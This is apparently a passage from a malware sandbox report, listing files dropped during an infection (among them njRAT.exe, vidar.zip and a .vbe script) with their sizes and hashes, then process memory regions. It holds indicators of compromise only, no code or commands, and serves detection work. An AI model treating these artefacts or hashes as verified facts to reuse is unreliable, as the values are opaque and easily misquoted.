                        b4bead39ead2a29de2f0a6fb52eea172cfe25224b71e4a9b1418f55c8b053d59

                        SHA512

                        83ceff476d071412b02bab0753bd3c4440937b663397d73349fa90c38d96cf88051b645c781cbe5de281aa3bd45e71da7fcc8c99c2846ce29c2f36c3e1307a84

                      • C:\Users\Admin\AppData\Local\Temp\ultradrp\setup.eexe

                        Filesize

                        1.1MB

                        MD5

                        8402ded9b2f0c07d7aca42ffc021faa7

                        SHA1

                        3da8599a38ad4c3a51ea4316273d648982aa3161

                        SHA256

                        aa8480766448a63a9e7d3f5463ceb7c0539148d42412cfe4ec9572edf97f4bba

                        SHA512

                        68e23954f73259708bdc4d384c10442d8d06a40a540758925126e58769b9f6dd3f6f8a3a2beebc28029ba97e657ff173de1dc2ad793f20da0581317df5161d26

                      • C:\Users\Admin\AppData\Local\Temp\ultradrp\setup.exe

                        Filesize

                        2.7MB

                        MD5

                        ff461f6e26216dea2575082406f0be8a

                        SHA1

                        5f53eb73469d2770308c248b3379c67cdb731f26

                        SHA256

                        65046cfd956eb010ea8b5a530e0655cacaa183053ac15dd05003dc0e55904b79

                        SHA512

                        b6fbd71229e063433794ab99acd410ec9047f8f504450f19b2b19327bf189da8862c7052df91f97cfe598a03ef4aabe123af8ad378f74294298fcb512dba50d1

                      • C:\Users\Admin\AppData\Local\Temp\vidar.zip

                        Filesize

                        1.2MB

                        MD5

                        61c89dc8b55c3e28b67e9f086c5930fb

                        SHA1

                        3098b3aa47e0180d3c68e5004ea53241ab59e2c7

                        SHA256

                        f419cea0dc3b585499f65ff8bdfa33f0a673361d09d1bb81411303fabf5aac1e

                        SHA512

                        b08d4c8fca98fdfdedd516ca3f870873441cbca72422bc0f3a53205ecd499f08436e42716a54a8b14b6dd8cb236852548aadc9f9a7f8e82d282caf40e42b8dc1

                      • C:\Windows\302746537.exe

                        Filesize

                        22KB

                        MD5

                        8703ff2e53c6fd3bc91294ef9204baca

                        SHA1

                        3dbb8f7f5dfe6b235486ab867a2844b1c2143733

                        SHA256

                        3028a2b0e95143a4caa9bcd6ae794958e7469a20c6e673da067958cbf4310035

                        SHA512

                        d5eb8a07457a78f9acd0f81d2f58bbf64b52183318b87c353a590cd2a3ac3a6ec9c1452bd52306c7cf99f19b6a897b16ceb8289a7d008c5ce3b07eda9b871204

                      • C:\njRAT.exe

                        Filesize

                        898KB

                        MD5

                        08f223ac15e2e92561ed310ae71415c1

                        SHA1

                        0a871a4b376bd8771188b96a9a1bb6fe1205160d

                        SHA256

                        51f2aec8b6de1e49b1ca74203afd380484932b07067a91f027548bc20b8967ec

                        SHA512

                        9acc7b4976c23fa019361b52eb22dcdfbf0bb1039aa8c8e74507f0501709616757a2d762d0478956a03bfadecdee812c9aa2360655891ab4ed1de96f35e23cd4

                      • C:\njq8.exe

                        Filesize

                        28KB

                        MD5

                        edc4f10a5e164db64bf79eca207f2749

                        SHA1

                        d08eb761a5446a4409a72f3af3fb8dd60eec7c92

                        SHA256

                        ce6421107031175f39e61d3bcc5a98d1d94190e250034e27cdbebbadcba084a4

                        SHA512

                        e974a32096cc58c1a78c7aa8714b8b8b7a202859905a28d5ce61fd9a563382a7577825e8c9ee612d7ba708f3efef01a43d07df03e7c1e3e52d0cb32240d5d15d

                      • C:\winsessionnet\qmazbV2JlRldI.vbe

                        Filesize

                        207B

                        MD5

                        c976abe88c50259f846e4a7f9219c0e4

                        SHA1

                        0b8221670e970136114bfa60e95226cdfeda740e

                        SHA256

                        c912de4503819861b8f5053c4da777a73279aba052f9d4710cdb9facd62304d7

                        SHA512

                        e0fe8084c80f37e57b86fc3110f72acaec2e81dedf6a90488960891c2bd8d30728ec7ad763b7e8be299e56becfdbce93c08004efbe9eab92f9808f6109675715

                      • memory/244-303-0x0000026FD4910000-0x0000026FD4932000-memory.dmp

                        Filesize

                        136KB

                      • memory/336-238-0x0000000000400000-0x00000000006CB000-memory.dmp

                        Filesize

                        2.8MB

                      • memory/1724-184-0x0000000000400000-0x0000000000410000-memory.dmp

                        Filesize

                        64KB

                      • memory/1724-237-0x0000000000400000-0x0000000000410000-memory.dmp

                        Filesize

                        64KB

                      • memory/1756-215-0x0000000180000000-0x000000018008C000-memory.dmp

                        Filesize

                        560KB

                      • memory/1756-144-0x0000000002B50000-0x0000000002B80000-memory.dmp

                        Filesize

                        192KB

                      • memory/2912-128-0x0000000004DA0000-0x0000000004E3C000-memory.dmp

                        Filesize

                        624KB

                      • memory/2912-126-0x0000000000350000-0x0000000000448000-memory.dmp

                        Filesize

                        992KB

                      • memory/2912-149-0x0000000004F30000-0x0000000004FC2000-memory.dmp

                        Filesize

                        584KB

                      • memory/2912-160-0x00000000050C0000-0x0000000005116000-memory.dmp

                        Filesize

                        344KB

                      • memory/2912-135-0x0000000005440000-0x00000000059E6000-memory.dmp

                        Filesize

                        5.6MB

                      • memory/2912-159-0x0000000004E40000-0x0000000004E4A000-memory.dmp

                        Filesize

                        40KB

                      • memory/2924-423-0x0000000000400000-0x000000000040D000-memory.dmp

                        Filesize

                        52KB

                      • memory/2924-233-0x0000000000400000-0x000000000040D000-memory.dmp

                        Filesize

                        52KB

                      • memory/2924-475-0x0000000000400000-0x000000000040D000-memory.dmp

                        Filesize

                        52KB

                      • memory/3172-33-0x0000000000B90000-0x0000000000DB6000-memory.dmp

                        Filesize

                        2.1MB

                      • memory/3172-479-0x0000000000B90000-0x0000000000DB6000-memory.dmp

                        Filesize

                        2.1MB

                      • memory/3408-134-0x0000000000A50000-0x0000000000BA2000-memory.dmp

                        Filesize

                        1.3MB

                      • memory/3408-202-0x00000000066B0000-0x0000000006700000-memory.dmp

                        Filesize

                        320KB

                      • memory/3408-203-0x0000000006800000-0x000000000694A000-memory.dmp

                        Filesize

                        1.3MB

                      • memory/3572-346-0x0000000012C20000-0x0000000012D2A000-memory.dmp

                        Filesize

                        1.0MB

                      • memory/3572-326-0x0000000010E20000-0x0000000011438000-memory.dmp

                        Filesize

                        6.1MB

                      • memory/3572-373-0x0000000013000000-0x000000001304C000-memory.dmp

                        Filesize

                        304KB

                      • memory/3572-348-0x0000000012EA0000-0x0000000012EDC000-memory.dmp

                        Filesize

                        240KB

                      • memory/3572-302-0x00000000107C0000-0x00000000107E8000-memory.dmp

                        Filesize

                        160KB

                      • memory/3572-347-0x0000000012B80000-0x0000000012B92000-memory.dmp

                        Filesize

                        72KB

                      • memory/3684-254-0x000000001B120000-0x000000001B136000-memory.dmp

                        Filesize

                        88KB

                      • memory/3684-255-0x000000001B2D0000-0x000000001B2DE000-memory.dmp

                        Filesize

                        56KB

                      • memory/3684-253-0x000000001B320000-0x000000001B370000-memory.dmp

                        Filesize

                        320KB

                      • memory/3684-256-0x000000001B2E0000-0x000000001B2EA000-memory.dmp

                        Filesize

                        40KB

                      • memory/3684-252-0x000000001B100000-0x000000001B11C000-memory.dmp

                        Filesize

                        112KB

                      • memory/3684-242-0x000000001B140000-0x000000001B14C000-memory.dmp

                        Filesize

                        48KB

                      • memory/3684-241-0x0000000000590000-0x00000000006DC000-memory.dmp

                        Filesize

                        1.3MB

                      • memory/5332-131-0x0000000000400000-0x0000000000A06000-memory.dmp

                        Filesize

                        6.0MB

                      • memory/5332-477-0x0000000000400000-0x0000000000A06000-memory.dmp

                        Filesize

                        6.0MB

                      • memory/5332-529-0x0000000000400000-0x0000000000A06000-memory.dmp

                        Filesize

                        6.0MB

                      • memory/5332-527-0x0000000000400000-0x0000000000A06000-memory.dmp

                        Filesize

                        6.0MB

                      • memory/5332-524-0x0000000000400000-0x0000000000A06000-memory.dmp

                        Filesize

                        6.0MB

                      • memory/5332-522-0x0000000000400000-0x0000000000A06000-memory.dmp

                        Filesize

                        6.0MB

                      • memory/5332-481-0x0000000000400000-0x0000000000A06000-memory.dmp

                        Filesize

                        6.0MB

                      • memory/5332-239-0x0000000000400000-0x0000000000A06000-memory.dmp

                        Filesize

                        6.0MB

                      • memory/5696-175-0x0000000003570000-0x0000000003571000-memory.dmp

                        Filesize

                        4KB

                      • memory/5696-174-0x0000000003560000-0x0000000003561000-memory.dmp

                        Filesize

                        4KB

                      • memory/5696-172-0x00000000016F0000-0x00000000016F1000-memory.dmp

                        Filesize

                        4KB

                      • memory/5696-177-0x0000000003590000-0x0000000003591000-memory.dmp

                        Filesize

                        4KB

                      • memory/5696-179-0x0000000000790000-0x00000000011D4000-memory.dmp

                        Filesize

                        10.3MB

                      • memory/5696-176-0x0000000003580000-0x0000000003581000-memory.dmp

                        Filesize

                        4KB

                      • memory/5696-173-0x0000000001700000-0x0000000001701000-memory.dmp

                        Filesize

                        4KB